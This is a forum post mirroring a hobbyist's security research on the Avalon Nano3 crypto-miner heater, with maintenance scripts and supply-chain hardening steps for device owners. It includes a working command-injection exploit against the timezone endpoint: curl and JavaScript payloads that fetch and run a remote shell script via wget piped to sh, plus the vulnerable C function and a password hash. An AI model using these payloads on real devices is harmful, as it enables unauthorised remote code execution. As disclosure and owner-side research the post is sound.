Alright, I just registered to post here some research I've done. I've published it
at my personal page, but I'll mirror it verbatim also here for your convenience. It might explain why many of your devices died, and how to prevent that in the future:
The Avalon Nano3 is a SHA256 cryptocurrency miner developed by Canaan. The efficiency isn't stellar by any means compared to other modern miners, but it is sold as a small heater, and it does a pretty good job at that.
The device has:
- A Canaan Kendryte K230 SoC, with a 1.6GHz RISC-V processor.
- 128MB of RAM.
- 128MB of NAND FLASH for the firmware (U-Boot, filesystem, kernel and settings).
- 10x A3198 SHA256 ASICs, for a peak performance of 4TH/s.
Gaining SSH accessThe Nano3 has many security issues. Lots of them.
One which we can easily exploit to gain SSH access on the device is an unchecked system(3) function call that the device uses to update the timezone.
When you update the timezone from the web interface, a POST request like the following is issued:
curl 'http://<miner IP>/timezoneconf.cgi' \
-b 'auth=ff0000ff4813494d137e1631bba301d5' \
--data-raw 'timezone=Etc%2FUTC'
That timezone is passed unchecked to the following function:
uint8_t set_timezone(const char *timezone) {
char cmd[256];
memset(cmd, 0, sizeof(cmd));
sprintf(cmd, "ln -sf /usr/share/zoneinfo/%s /etc/localtime", timezone);
system(cmd);
return 0;
}
Of course, there is nothing preventing us from passing something else than a timezone, running arbitrary code on the device.
The function that calls set_timezone uses a small 64-byte buffer to store the timezone (of course with no boundary checks!), so we cannot fit in there a whole ass jailbreak script. However, it is enough to fit a small script that fetches the true jailbreak from the internet.
If you haven't changed the original password on the device (root), this cURL call will trigger a fetch to
https://xn--i29h.ge/n.sh, then execute it:
curl 'http://<miner IP>/timezoneconf.cgi' \
-b 'auth=ff0000ff4813494d137e1631bba301d5' \
--data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'
Alternatively, you can also trigger it from your web browser's JavaScript console. Just log into your device, then paste:
await fetch("/timezoneconf.cgi", {
"body": "timezone=" + encodeURIComponent(";wget http://xn--i29h.ge/n.sh -O-|sh;"),
"method": "POST"
});
The payload has comments, so feel free to check it, but it:
- Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
- Generates a new ED25519 host key.
- Creates the jail environment the SSH daemon expects.
- Configures SSH as a init service.
- Launches the SSH service, so you don't have to reboot.
After running the command, you should be able to connect via SSH. Once SSH works, remember to configure again the correct timezone!
https://orca.pet/nanojb/ssh.png?_=bee99b6c86a0Reduce flash wearFrom factory, the miner performs multiple unnecessary writes to flash.
This a pretty serious problem because it uses a NAND flash IC, which are generally rated for only about 1k to 10k writes per sector. Even with UBI's wear leveling, this still causes some serious and unnecessary stress on the flash that can and will cut short the lifespan of the miner.
After running any of the scripts below,
you have to reboot the device for changes to be applied, preferrably via SSH using the reboot command or the web interface. Do not yank out the power cable that, as that could corrupt the new scripts if done in the middle of a flush to flash.
Logs to RAMThe worst offender is the logging. Every single log line, such as "share accepted" or "current hash rate", is saved to flash. That results in multiple erase/write cycles times per second.
To fix the issue, it is possible to simply move the log folder from flash to RAM by creating a symbolic link. This means logs no longer cause any flash writes, but they are also no longer kept between reboots of the device.
Connect via SSH, and then just paste this script in the terminal:
sudo tee /etc/init.d/S51zlog.sh <<EOF >/dev/null
if ! [ -L /data/log ]; then
rm -rf /data/log
ln -s /tmp/zlog /data/log
fi
mkdir /tmp/zlog
EOF
If you're worried about RAM usage from the logs causing some instability, it's quite unlikely. Logs are limited to 6MB, and if you run free -m you'll see more than half the RAM sits unused.
Disable shell historyAnother thing you can consider doing is disabling the shell command history file, which also logs to flash every single command you type via SSH. The following script (that also needs to run as root) does so:
echo "export HISTFILE=" | sudo tee /etc/profile.d/no-history.sh >/dev/null
Supply chain attacksThe firmware web interface in multiple spots loads JavaScript files from a remote CDN without a specifying an exact version, and without an integrity check.
A rogue lead developer/maintainer of the dependencies could then publish a version of the libraries infected with malware that, when an user accessed the web GUI, gave him full control of the device.
You think it's unlikely?
Already.
Happened.
Multiple.
Times.
This (long) script fixes the version of the dependencies, adds integrity checks and removes referrers to remote CDNs for privacy:
sed -i \
-e 's#"https://cdn.jsdelivr.net/npm/chart.js@4.2.1/dist/chart.umd.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.2.1/chart.umd.min.js" integrity="sha512-GCiwmzA0bNGVsp1otzTJ4LWQT2jjGJENLGyLlerlzckNI30moi2EQT0AfRI7fLYYYDKR+7hnuh35r3y1uJzugw==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
-e 's#"https://cdn.jsdelivr.net/npm/chartjs-plugin-datalabels@2"#"https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datalabels.min.js" integrity="sha512-JPcRR8yFa8mmCsfrw4TNte1ZvF1e3+1SdGMslZvmrzDYxS69J7J49vkFL8u6u8PlPJK+H3voElBtUCzaXj+6ig==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
-e 's#"https://cdn.jsdelivr.net/npm/luxon@^2"#"https://cdnjs.cloudflare.com/ajax/libs/luxon/2.5.2/luxon.min.js" integrity="sha512-a1S2Hm5CJEfm+1dEJFoFXfvE4Q9D3CiHSF/GBR02ZMkiz40aRXRti0Ht+nMm2nyVpl5AFatAxsBzgvOchLnQ5g==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
-e 's#"https://cdn.jsdelivr.net/npm/chartjs-adapter-luxon@^1"#"https://cdnjs.cloudflare.com/ajax/libs/chartjs-adapter-luxon/1.3.1/chartjs-adapter-luxon.umd.min.js" integrity="sha512-I8SeDoNxRKOuQMhqHmx95hydiG/LCY9SFCs3cqAf+f1kIZbAyXXIXIIwgx32ZIgZpOVrEOHSfyjeKxRNIuBvWQ==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
/mnt/heater/www/html/overview.html
sed -i \
-e 's#"https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.min.js" integrity="sha512-k2WPPrSgRFI6cTaHHhJdc8kAXaRM4JBFEDo1pPGGlYiOyv4vnA0Pp0G5XMYYxgAPmtmv/IIaQA6n5fLAyJaFMA==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
-e 's#"https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"#"https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.2/js/bootstrap.bundle.min.js" integrity="sha512-igl8WEUuas9k5dtnhKqyyld6TzzRjvMqLC79jkgT3z02FvJyHAuUtyemm/P/jYSne1xwFI06ezQxEwweaiV7VA==" crossorigin="anonymous" referrerpolicy="no-referrer"#' \
/mnt/heater/www/html/upgrade.html
Restore original firmwareThe Android application fetches
https://sinh1-aws-app01.s3.ap-southeast-1.amazonaws.com/app/update.json to detect firmware updates. To restore the OEM firmware, just download the .swu file linked in the JSON and upload it via the swupdate interface exposed at http://<miner IP>:9090/.
As a side note: firmwares are signed using a RSA key, so custom firmwares would require SSH access and some patching of the swupdate binary.
FootnoteAs I've proven here, the device is incredibly insecure. Do not, under any circumstance, use it on an untrusted network.